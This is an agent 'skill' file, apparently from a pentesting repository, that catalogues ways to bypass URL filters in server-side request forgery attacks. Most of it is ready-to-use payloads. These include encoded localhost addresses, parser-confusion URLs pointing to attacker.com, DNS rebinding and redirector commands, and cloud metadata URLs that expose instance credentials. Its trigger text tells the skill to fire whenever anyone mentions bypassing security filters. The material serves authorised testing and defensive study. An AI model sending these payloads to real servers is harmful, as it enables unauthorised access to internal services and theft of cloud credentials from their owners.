Hacktricks-skills ssrf-url-bypass
Use this skill whenever testing for SSRF vulnerabilities, bypassing URL filters, or generating SSRF payloads. Trigger on any mention of SSRF, server-side request forgery, URL validation bypass, localhost access, internal network scanning, cloud metadata access, or when you need to craft payloads to reach internal hosts. Always use this skill when the user mentions bypassing security filters, reaching 127.0.0.1, accessing internal services, or testing URL parsing vulnerabilities.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass/SKILL.MDSSRF URL Format Bypass
A comprehensive guide to bypassing URL validation filters in Server-Side Request Forgery (SSRF) attacks. Use this skill to generate payloads, understand parsing differences, and craft bypasses for various security controls.
When to Use This Skill
- Testing for SSRF vulnerabilities in web applications
- Bypassing URL allowlists or blocklists
- Reaching localhost/internal hosts through filtered endpoints
- Accessing cloud metadata services (169.254.169.254)
- Understanding URL parsing differences between libraries
- Generating payload wordlists for fuzzing
Localhost Bypass Techniques
Numeric IP Variations
# Basic localhost http://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22 http://0 http://0.0.0.0:80 http://localhost:80 # CIDR bypass (entire 127.0.0.0/8 range) http://127.1:80 http://127.0.1.3 http://127.0.0.0 http://127.127.127.127 # IPv6 localhost http://[::]:80/ http://[::]:25/ # SMTP http://[::]:3128/ # Squid http://[0000::1]:80/ http://[0:0:0:0:0:ffff:127.0.0.1]/
Numeric Encoding Bypasses
# Decimal bypass http://2130706433/ # = 127.0.0.1 http://3232235521/ # = 192.168.0.1 http://3232235777/ # = 192.168.1.1 # Octal bypass http://0177.0000.0000.0001 http://00000177.00000000.00000000.00000001 http://017700000001 # Hexadecimal bypass http://0x7f000001/ # = 127.0.0.1 http://0xc0a80014/ # = 192.168.0.20 0x7f.0x00.0x00.0x01 0x0000007f.0x00000000.0x00000000.0x00000001 # Mixed encodings 169.254.43518 # Partial Decimal (Class B) 0xA9.254.0251.0376 # hex, decimal, octal mixed # Add leading zeros 127.000000000000.1
Unicode and Special Character Bypasses
# Unicode full-width dots 127。0。0。1 127%E3%80%820%E3%80%820%E3%80%821 # Unicode circled numbers http://①②⑦.⓪.⓪.⓪ # Unicode domain characters ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ # URL-encoded variants http://0:@0/ # → http://localhost/
DNS-Based Localhost
# nip.io service (IP in domain) 127.0.0.1.nip.io 192.168.1.1.nip.io # Custom DNS localtest.me # = 127.0.0.1 spoofed.burpcollaborator.net # Subdomain tricks customer1.app.localhost.my.company.127.0.0.1.nip.io # Known localhost mappings mail.ebc.apple.com # = 127.0.0.6 bugbounty.dod.network # = 127.0.0.2 1ynrnhl.xip.io # = 169.254.169.254
Domain Parser Bypasses
Exploiting differences in how URL parsers handle malformed URLs:
# Missing slashes https:attacker.com https:/attacker.com http:/\attacker.com https:/\attacker.com //attacker.com # Backslash confusion /\attacker.com/ /\attacker.com/ # Fragment-based #attacker.com #%20@attacker.com %0D%0A/attacker.com # Null byte injection attacker%00.com # Double-encoded fragment attacker.com%2523@victim # bypasses split("#") # Unicode domain attacker%E3%80%82com attacker。com # Userinfo confusion http://169.254.1698.254\@attacker.com
Domain Confusion Techniques
When you need to make the application think it's accessing one domain while actually reaching another:
# Basic confusion patterns https://{domain}@attacker.com https://{domain}.attacker.com https://{domain}%6D@attacker.com https://attacker.com/{domain} https://attacker.com/?d={domain} https://attacker.com#{domain} https://attacker.com@{domain} https://attacker.com#@{domain} # Advanced confusion https://attacker.com%23@{domain} https://attacker.com%00{domain} https://attacker.com%0A{domain} https://attacker.com///{domain} https://attacker.com\{domain}/ https://attacker.com;https://{domain} https://attacker.com\.{domain} https://attacker.com/.{domain} # Colon + backslash (CVE-2025-0454) http://localhost:\@google.com/../ # Parameter pollution next={domain}&next=attacker.com # Unicode division sign https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com
Path and Extension Bypasses
When the URL must end with a specific path or extension:
# Fragment bypass (fragments aren't sent to server) https://metadata/vulnerable/path#/expected/path https://metadata/vulnerable/path#.extension # Path traversal https://metadata/expected/path/..%2f..%2f/vulnerable/path
Redirect-Based Bypass
When the server filters the original request but follows redirects:
- Set up a redirect server that responds with 302 to your target
- Point the SSRF to your redirect server
- The server follows the redirect to the filtered target
Use the
scripts/ssrf-redirector.py script to create a redirect server:
python3 scripts/ssrf-redirector.py 8000 http://127.0.0.1/
Then use
http://your-redirect-server:8000/ in the SSRF parameter.
DNS Rebinding Bypass (2025+)
Even when filters perform a single DNS resolution, you can rebind between lookup and connection:
- Point domain to public IP to pass allowlist check
- Use low TTL or authoritative server you control
- Rebind to internal IP (127.0.0.1, 169.254.169.254) before real request
Use Singularity (nccgroup/singularity) to automate:
python3 singularity.py --lhost <your_ip> --rhost 127.0.0.1 --domain rebinder.test --http-port 8080
IPv6 Zone Identifier Trick
Some filters strip IPv6 brackets but not zone identifiers:
http://[fe80::1%25eth0]/ # %25 = encoded '%' http://[fe80::a9ff:fe00:1%25en0]/ # macOS style
The
%25 decodes to %, creating fe80::1%eth0 which some parsers don't recognize as localhost.
Recent CVEs and Parsing Issues
| Year | CVE | Component | Key Bypass |
|---|---|---|---|
| 2025 | CVE-2025-0454 | Python requests/urllib | |
| 2025 | CVE-2025-2691 | Node nossrf | Hostname resolves to private IP |
| 2024 | CVE-2024-29415 | Node ip package | classified as public |
| 2024 | CVE-2024-22243 | Spring UriComponentsBuilder | in userinfo |
| 2023 | CVE-2023-27592 | urllib3 <1.26.15 | Backslash confusion |
| 2022 | CVE-2022-3602 | OpenSSL | Dotless domain confusion |
Tools and Helpers
SSRF-PayloadMaker
Generate 80k+ bypass combinations automatically:
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt
PortSwigger URL Validation Bypass
Use the PortSwigger cheat sheet to generate custom wordlists based on allowed and attacker hosts.
Burp Extensions
- Burp-Encode-IP: Implements IP formatting bypasses
- recollapse: Generate regex bypass variations
Quick Reference: Cloud Metadata URLs
# AWS http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/user-data/ # GCP http://169.254.169.254/computeMetadata/v1/ # Azure http://169.254.169.254/metadata/instance/ # DigitalOcean http://169.254.169.254/metadata/v1/
Workflow
- Identify the filter: Test basic localhost (127.0.0.1, localhost)
- Try numeric encodings: Decimal, octal, hex variations
- Test domain confusion: Use @, #, and path tricks
- Use redirect bypass: If direct access is blocked
- Generate wordlists: Use SSRF-PayloadMaker for comprehensive testing
- Check for CVEs: Test known vulnerable library patterns
Important Notes
- Always test in authorized environments only
- URL parsing differs between browsers, libraries, and frameworks
- What works in one context may not work in another
- Combine multiple techniques for complex filters
- Document findings for responsible disclosure